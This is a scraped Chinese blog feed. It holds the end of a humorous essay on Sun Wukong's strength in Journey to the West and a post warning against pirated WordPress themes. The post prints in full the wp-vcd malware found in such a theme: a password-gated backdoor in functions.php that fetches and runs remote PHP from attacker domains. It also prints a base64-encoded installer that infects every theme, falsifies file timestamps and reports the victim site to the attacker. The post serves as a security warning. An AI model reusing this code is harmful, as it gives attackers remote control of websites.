4? 說到這兒,我猜有人會說:不對呀,孫悟空當年大鬧天宮,那可是所向無敵,威風八面,差點把天庭掀了個底兒朝天,多少天界英雄,神仙大腕都是他的手下敗將,為什么500年之后,武功變得如此不堪?當初的神勇到哪兒去了?

沒錯,當年大鬧天宮,孫悟空在天庭橫沖直撞,如入無人之境,托塔天王李靖率四大天王與哪吒三太子,統領十萬天兵天將都奈何不了他。

為啥?因為誰也不敢動他,天宮高層都知道孫悟空來歷不一般,有非同尋常的家庭背景,所以,大家都是比劃比劃,做做樣子,誰也不敢來真的。

后來,孫悟空鬧得實在不像話了,為了平息社會輿論,玉帝請來二郎神與眉山兄弟,異地執法,在太上老君的協助下,才將孫悟空緝拿歸案。

惡貫滿盈,罪大惡極,當然是死刑啊。

沒想到,“刀砍斧剁,槍刺劍刳,莫想傷及其身。放火煨燒,亦不能燒著。又著雷部眾神,以雷屑釘打,越發不能傷損一毫。”硬是執行不下去。

這時候,最搞笑的一幕出現了,太上老君說:都別管了,犯人交給我吧,讓我用八卦爐三昧真火把他煉成金丹。

結果呢,孫悟空毫發無傷,不但金丹沒練成,還因禍得福,掌握了又一項絕技:火眼金睛。

這究竟是依法處置,還是暗中幫忙?

出爐后,孫悟空更加肆無忌憚,繼續為非作歹。

一個猴子為啥如此猖狂?為什么沒有人敢管?到底還有沒有王法?

下面有個別基層干部,不了解其中的奧妙。

書中描寫:“這一番,那猴王不分上下,使鐵棒東打西敵,更無一神可擋。只打到通明殿里,靈霄殿外。幸有佑圣真君的佐使王靈官執殿,他看大圣縱橫,掣金鞭近前擋住道:“潑猴何往!有吾在此,切莫猖狂!”這大圣不由分說,舉棒就打,那靈官鞭起相迎。他兩個斗在一處,勝敗未分。”

佑圣真君,也就是負責玉帝安全保衛的官員,相當于安保部部長,他手下的佐使王靈官,最多是個保安隊長,哪里知道孫悟空的出身來歷,玩兒命跟孫悟空干。“他兩個斗在一處,勝敗未分。”

請注意,“勝敗未分”,這才是孫悟空的真正實力。

也就是說,論打架,孫悟空也就是一個門衛保安的水平。

直到最后,迫于輿論壓力,玉帝不得不請如來佛祖出面,將妖猴鎮壓,孫悟空由死刑改判為有期徒刑500年。

看了上面作者的理論,是不是有點毀三觀呢,只看過《西游記》電影、電視、動畫作品的你,有一天在看過了原版《西游記》后,會更毀三觀。

近代把四大名著之一《西游記》改的非常好,可以說是面目全非,居然從恐怖故事,變成老少皆宜了。

少不看水滸,老不看三國,男不看西游,女不讀紅樓,這是咋回事?

]]>
http://www.086xa.com/who-can-sun-wukong-hit.html/feed 2
盜版主題很可怕! http://www.086xa.com/the-piracy-theme-is-terrible.html http://www.086xa.com/the-piracy-theme-is-terrible.html#comments Thu, 19 Mar 2020 07:56:46 +0000 http://www.086xa.com/?p=9324 主題森林相信國內 WordPress 用戶都很熟習,來自該網站的收費主題在國內盜版橫行,一些無良者對主題進行所謂優化、漢化后直接出售,更有甚者居然還有冒充國內代理的。主題森林大部分主題并不像國內主題需要加密綁域名或遠程驗證防盜版(因為國外用盜版是犯罪行為根本不需要這個),并且在主題森林購買主題后可以退款,因為主題并沒有任何防范措施,主題森林并不會收回你已獲得的主題包,你可以完全正常使用。什么時候國內能有這種讓我們大中華人民不可理解的商業行為,相信國內會有更多優秀的 WordPress 主題出現。

這里轉篇應該是來自孟加拉的一個WordPress 用戶,下載并使用盜版 WordPress 主題的可怕經歷。

盜版主題很可怕!

盜版主題很可怕!

筆者為了測試兼容性,谷歌上搜索并在一個專門提供盜版主題下載的網站,下載了一款來自Theme Forest(主題森林)的高級收費主題,筆者雖然也感覺有些可疑但并沒多想,直接在本地環境中安裝并啟用。

筆者本身有一定的技術,也怕主題中捆綁惡意代碼,還特意查看一下主題函數模板functions.php中有無可疑代碼,但并未發現可疑的東西,于是勇敢地激活啟用主題,還有些小雞凍!

當完成測試切換到WP默認主題后,Query Monitor 監視器插件發出警告。

盜版主題很可怕!

于是筆者打開當前主題的functions.php發現如下代碼:

展開

<?php
 
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '35c977caf96f9197995d4b4d3e14f253')) {
    $div_code_name = "wp_vcd";
    switch ($_REQUEST['action']) {
    case 'change_domain';
    if (isset($_REQUEST['newdomain'])) {
        if (!empty($_REQUEST['newdomain'])) {
            if ($file = @file_get_contents(__FILE__)) {
                if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
                    $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
                    @file_put_contents(__FILE__, $file);
                    print "true";
                }
            }
        }
    }
 
    break;
 
case 'change_code';
 
if (isset($_REQUEST['newcode'])) {
    if (!empty($_REQUEST['newcode'])) {
        if ($file = @file_get_contents(__FILE__)) {
            if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
                $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']) , $file);
                @file_put_contents(__FILE__, $file);
                print "true";
            }
        }
    }
}
 
break;
 
default:
    print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
 
die("");
}
 
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
 
if (!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
 
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
            $handle = fopen($tmpfname, "w+");
            if (fwrite($handle, "<?php\n" . $phpCode)) {
            }
            else {
                $tmpfname = tempnam('./', "theme_temp_setup");
                $handle = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
            }
 
            fclose($handle);
            include $tmpfname;
 
            unlink($tmpfname);
            return get_defined_vars();
        }
 
        $wp_auth_key = '358d76c863c31b2e1a46192808b08590';
        if (($tmpcontent = @file_get_contents("http://www.marors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.marors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        }
        elseif ($tmpcontent = @file_get_contents("http://www.marors.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        }
        elseif ($tmpcontent = @file_get_contents("http://www.marors.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
            }
        }
        elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
        elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
        elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
        }
    }
}
 
// $start_wp_theme_tmp
// wp_tmp
// $end_wp_theme_tmp
 
?>

通過這些代碼,攻擊者可以按自己的意愿在主題或服務器中推送任何代碼。筆者慶幸自己沒有在主機環境中安裝這個主題,否則不知道會發生什么!但當前使用的并不是之前下載的那個盜版主題,經查看發現,所有WordPress本地環境中的主題functions.php文件都被這個代碼感染了,這太可怕了 !

刪除代碼后,Query Monitor 監視器插件仍然報告相同的錯誤,那怎么可能呢 ?再次打開文件,令人驚訝的是代碼又出現了!最終判定在向主題中注入代碼的同時,它肯定還做了一些其他的事情。看來需要檢查WordPress核心文件了,經查創建了兩個新文件并修改了一個核心文件包括文件夾。其中一個文件名稱:wp-vcd.php,代碼如下:

展開

<?php
error_reporting(0);
 
// gICAgICAgICAgICA
 
ini_set('display_errors', 0);
 
// 2V0KCRfUkVRVUVTVFsn
 
$install_code = 'PD9waHAKaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYgKCRfUkVRVUVTVFsncGFzc3dvcmQnXSA9PSAneyRQQVNTV09SRH0nKSkKCXsKJGRpdl9jb2RlX25hbWU9IndwX3ZjZCI7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgoJCQkJCgoKCgoJCQkJY2FzZSAnY2hhbmdlX2RvbWFpbic7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3ZG9tYWluJ10pKQoJCQkJCQl7CgkJCQkJCQkKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWyduZXdkb21haW4nXSkpCgkJCQkJCQkJewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pKQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaF9hbGwoJy9cJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHNcKCJodHRwOlwvXC8oLiopXC9jb2RlXC5waHAvaScsJGZpbGUsJG1hdGNob2xkZG9tYWluKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKCgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlID0gcHJlZ19yZXBsYWNlKCcvJy4kbWF0Y2hvbGRkb21haW5bMV1bMF0uJy9pJywkX1JFUVVFU1RbJ25ld2RvbWFpbiddLCAkZmlsZSk7CgkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJGZpbGUpOwoJCQkJCQkJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAidHJ1ZSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CgoKCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoKCQkJCQkJCQljYXNlICdjaGFuZ2VfY29kZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnbmV3Y29kZSddKSkKCQkJCQkJewoJCQkJCQkJCgkJCQkJCQlpZiAoIWVtcHR5KCRfUkVRVUVTVFsnbmV3Y29kZSddKSkKCQkJCQkJCQl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpCgkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoX2FsbCgnL1wvXC9cJHN0YXJ0X3dwX3RoZW1lX3RtcChbXHNcU10qKVwvXC9cJGVuZF93cF90aGVtZV90bXAvaScsJGZpbGUsJG1hdGNob2xkY29kZSkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CgoJCQkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCRtYXRjaG9sZGNvZGVbMV1bMF0sIHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ25ld2NvZGUnXSksICRmaWxlKTsKCQkJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkZmlsZSk7CgkJCQkJCQkJCSAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJ0cnVlIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KCgoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoJCQkJCQkJCX0KCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVl9DRCBXUF9DRCI7CgkJCX0KCQkJCgkJZGllKCIiKTsKCX0KCgoKCgoKCgokZGl2X2NvZGVfbmFtZSA9ICJ3cF92Y2QiOwokZnVuY2ZpbGUgICAgICA9IF9fRklMRV9fOwppZighZnVuY3Rpb25fZXhpc3RzKCd0aGVtZV90ZW1wX3NldHVwJykpIHsKICAgICRwYXRoID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJF9TRVJWRVJbUkVRVUVTVF9VUkldOwogICAgaWYgKHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd3cC1jcm9uLnBocCcpID09IGZhbHNlICYmIHN0cmlwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sICd4bWxycGMucGhwJykgPT0gZmFsc2UpIHsKICAgICAgICAKICAgICAgICBmdW5jdGlvbiBmaWxlX2dldF9jb250ZW50c190Y3VybCgkdXJsKQogICAgICAgIHsKICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9BVVRPUkVGRVJFUiwgVFJVRSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsKICAgICAgICAgICAgJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICByZXR1cm4gJGRhdGE7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGZ1bmN0aW9uIHRoZW1lX3RlbXBfc2V0dXAoJHBocENvZGUpCiAgICAgICAgewogICAgICAgICAgICAkdG1wZm5hbWUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgInRoZW1lX3RlbXBfc2V0dXAiKTsKICAgICAgICAgICAgJGhhbmRsZSAgID0gZm9wZW4oJHRtcGZuYW1lLCAidysiKTsKICAgICAgICAgICBpZiggZndyaXRlKCRoYW5kbGUsICI8P3BocFxuIiAuICRwaHBDb2RlKSkKCQkgICB7CgkJICAgfQoJCQllbHNlCgkJCXsKCQkJJHRtcGZuYW1lID0gdGVtcG5hbSgnLi8nLCAidGhlbWVfdGVtcF9zZXR1cCIpOwogICAgICAgICAgICAkaGFuZGxlICAgPSBmb3BlbigkdG1wZm5hbWUsICJ3KyIpOwoJCQlmd3JpdGUoJGhhbmRsZSwgIjw/cGhwXG4iIC4gJHBocENvZGUpOwoJCQl9CgkJCWZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAgICAgaW5jbHVkZSAkdG1wZm5hbWU7CiAgICAgICAgICAgIHVubGluaygkdG1wZm5hbWUpOwogICAgICAgICAgICByZXR1cm4gZ2V0X2RlZmluZWRfdmFycygpOwogICAgICAgIH0KICAgICAgICAKCiR3cF9hdXRoX2tleT0nMzU4ZDc2Yzg2M2MzMWIyZTFhNDYxOTI4MDhiMDg1OTAnOwogICAgICAgIGlmICgoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cubWFyb3JzLmNvbS9jb2RlLnBocCIpIE9SICR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzX3RjdXJsKCJodHRwOi8vd3d3Lm1hcm9ycy5jb20vY29kZS5waHAiKSkgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7CgogICAgICAgICAgICBpZiAoc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJ3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgCiAgICAgICAgZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3d3dy5tYXJvcnMucHcvY29kZS5waHAiKSAgQU5EIHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlICkgewoKaWYgKHN0cmlwb3MoJHRtcGNvbnRlbnQsICR3cF9hdXRoX2tleSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1pbmNsdWRlcy93cC10bXAucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJywgJHRtcGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoZ2V0X3RlbXBsYXRlX2RpcmVjdG9yeSgpIC4gJy93cC10bXAucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCd3cC10bXAucGhwJywgJHRtcGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9CiAgICAgICAgfSAKCQkKCQkgICAgICAgIGVsc2VpZiAoJHRtcGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cubWFyb3JzLnRvcC9jb2RlLnBocCIpICBBTkQgc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UgKSB7CgppZiAoc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGV4dHJhY3QodGhlbWVfdGVtcF9zZXR1cCgkdG1wY29udGVudCkpOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvd3AtdG1wLnBocCcsICR0bXBjb250ZW50KTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhnZXRfdGVtcGxhdGVfZGlyZWN0b3J5KCkgLiAnL3dwLXRtcC5waHAnKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJ3dwLXRtcC5waHAnLCAkdG1wY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICB9CgkJZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3dwLXRtcC5waHAnKSBBTkQgc3RyaXBvcygkdG1wY29udGVudCwgJHdwX2F1dGhfa2V5KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgZXh0cmFjdCh0aGVtZV90ZW1wX3NldHVwKCR0bXBjb250ZW50KSk7CiAgICAgICAgICAgCiAgICAgICAgfSBlbHNlaWYgKCR0bXBjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKGdldF90ZW1wbGF0ZV9kaXJlY3RvcnkoKSAuICcvd3AtdG1wLnBocCcpIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgCgogICAgICAgIH0gZWxzZWlmICgkdG1wY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygnd3AtdG1wLnBocCcpIEFORCBzdHJpcG9zKCR0bXBjb250ZW50LCAkd3BfYXV0aF9rZXkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBleHRyYWN0KHRoZW1lX3RlbXBfc2V0dXAoJHRtcGNvbnRlbnQpKTsgCgogICAgICAgIH0gCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICAgICAgCiAgICB9Cn0KCi8vJHN0YXJ0X3dwX3RoZW1lX3RtcAoKCgovL3dwX3RtcAoKCi8vJGVuZF93cF90aGVtZV90bXAKPz4=';
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}', $install_hash, base64_decode($install_code));
$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
$ping = true;
$ping2 = false;
 
if ($list = scandir($themes)) {
    foreach($list as $_) {
        if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
            $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
            if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')) {
                if (strpos($content, 'WP_V_CD') === false) {
                    $content = $install_code . $content;
                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                    touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $time);
                }
                else {
                    $ping = false;
                }
            }
        }
        else {
            $list2 = scandir($themes . DIRECTORY_SEPARATOR . $_);
            foreach($list2 as $_2) {
                if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) {
                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php')) {
                        if (strpos($content, 'WP_V_CD') === false) {
                            $content = $install_code . $content;
                            @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
                            touch($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $time);
                            $ping2 = true;
                        }
                        else {
 
                            // $ping = false;
 
                        }
                    }
                }
            }
        }
    }
 
    if ($ping) {
        $content = @file_get_contents('http://www.marors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
 
        // @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.marors.com/admin.txt'));
 
    }
 
    if ($ping2) {
        $content = @file_get_contents('http://www.marors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
 
        // @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.marors.com/admin.txt'));
        // echo ABSPATH . 'wp-includes/class.wp.php';
 
    }
}
 
?><?php
error_reporting(0); ?>

最后想說的

請不要在自己的網站上使用任何盜版主題和插件,不要相信這些插件或提供盜版主題的網站,否則將使你的寶貴數據丟失或者被黑客攻擊。

 


 

請不要嘗試將上面的代碼復制到主題中,后果自負。

很多年前,我也喜歡嘗試安裝各種主題和插件,遇到過functions.php文件被感染的情況,也看過其它 WordPress 網站中過此招,這里奉勸大家小心為上!

網上查了一下這個wp-vcd文件:

展開

Sucuri安全小組警告所有WordPress的網站管理員,有必要檢查一下自己的網站中是否存在一款名為“wp-vcd”的惡意軟件。

wp-vcd,一款隱藏在合法WordPress文件中的惡意軟件,用于添加一個隱藏的網站管理員賬戶并授權攻擊者控制受感染的網站。

